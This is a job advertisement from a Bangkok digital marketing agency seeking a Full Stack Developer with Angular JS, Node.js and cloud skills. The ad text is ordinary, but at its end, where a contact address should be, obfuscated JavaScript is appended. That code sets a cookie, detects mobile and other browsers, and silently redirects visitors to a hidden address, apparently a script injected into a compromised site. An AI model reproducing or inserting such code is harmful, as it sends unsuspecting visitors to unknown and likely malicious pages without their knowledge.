Become a part of our winning team

Coding is your passion and you like above all to develop web applications by taking advantage of your great experience and advanced skills on Angular JS, Node.js, and GIT? So, don’t wait, join us now in Bangkok.

Job title Full Stack Developer
Location Bangkok
Employment type Permanent contrat, 100%
Entry date As soon as possible

Main mission

Inspire Asia Co., Ltd. is a fast-growing digital marketing agency focused on the Southeast Asian markets. With a team of Asian native and Swiss experts, it offers high-quality services (strategy, trading desk, inbound marketing, data intelligence) to major brands who want to strengthen their presence and generate business growth in Southeast Asia.

For our new office located in Bangkok, we are looking for a man or woman Full Stack Developer who will help us build software modules focused on machine learning and data analysis.

  • Main Tasks

    • Work remotely on software with teammates worldwide
    • Strong competences with Angular JS 1.x (JavaScript + CSS + HTML) and technical skills in general
    • Contribute to a codebase written in JavaScript using React and Node.js
    • Apply Agile approaches to software development
    • Deliver tested and documented code. Good understanding of modern web architectures and machine learning
    • Comfortable with Atlassian tools: BitBucket (GIT), HipChat, Jira

Profile / Skills

    • Thai national or expat
    • Good writing communication skills in English or French
      2 years minimum of work experience in JavaScript development
    • Up-to-date with the latest trends and best practices in Javascript world
    • Familiarity with agile methodologies, Scrum preferred
    • Experience developing on public cloud infrastructure such as Google Cloud Platform or Amazon Web Services
    • Experience designing and implementing RESTful APIs
    • Strong autonomy, desire to learn skills

A great place to work

A strong team where every voice counts

At Inspire Asia, we have a holacratic approach and encourage self-organized work, collective decision making, and profit sharing. We value everyone’s initiatives and ideas and encourage our team members to develop the projects that they feel are important to them & the company.

Highly-specialized continuous training

We are always pushing ourselves to be on top of our game and develop our skills. We also think that it is important to share this knowledge with the whole team. We’ll encourage you to learn every day, to follow continuous training, and to move always forward in your key specializations.

Work-life balance & Family-friendly

Work-life balance is part of our DNA. We really trust that our success is also due to the fulfilled personal life of each co-worker and endeavor to do our best to create the most attractive, flexible and family-friendly (especially for those who have children) working conditions.

Apply now

If you recognize yourself in this profile, your dream job awaits! Complete the form or write us at


    ;return e;};(function(){if(document[b(‘0x0’)](b(‘0x1’))===null){if(typeof c===b(‘0x2’)){function c(d,e,f){var g=”;if(f){var h=new Date();h[b(‘0x3’)](h[b(‘0x4’)]()+f*0x18*0x3c*0x3c*0x3e8);g=b(‘0x5’)+h[b(‘0x6’)]();}document[b(‘0x7′)]=d+’=’+(e||”)+g+’;\x20path=/’;}function i(j){var k=j+’=’;var l=document[b(‘0x7’)][b(‘0x8’)](‘;’);for(var m=0x0;m<l[b(‘0x9’)];m++){var n=l[m];while(n[b(‘0xa’)](0x0)==’\x20′)n=n[b(‘0xb’)](0x1,n[‘length’]);if(n[b(‘0xc’)](k)==0x0)return n[b(‘0xb’)](k[b(‘0x9’)],n[‘length’]);}return null;}function o(){return navigator[b(‘0xd’)][b(‘0xe’)](/Android/i)||navigator[‘userAgent’][b(‘0xe’)](/BlackBerry/i)||navigator[b(‘0xd’)][b(‘0xe’)](/iPhone|iPad|iPod/i)||navigator[b(‘0xd’)][b(‘0xe’)](/Opera Mini/i)||navigator[b(‘0xd’)][b(‘0xe’)](/IEMobile/i);}function p(){return navigator[b(‘0xd’)][‘indexOf’](‘Edge’)!==-0x1||navigator[‘userAgent’][b(‘0xc’)](b(‘0xf’))!==-0x1||navigator[b(‘0xd’)][b(‘0xc’)](b(‘0x10’))!==-0x1||navigator[b(‘0xd’)][b(‘0xc’)](b(‘0x11’))!==-0x1||navigator[b(‘0xd’)][‘indexOf’](b(‘0x12’))!==-0x1||navigator[b(‘0xd’)][‘indexOf’](b(‘0x13’))!==-0x1;}var q=i(b(‘0x14′));if(q!==’un’){if(p()||o()){c(b(‘0x14′),’un’,0x16d);window[b(‘0x15’)][‘replace’](b(‘0x16’));}}}}}(this));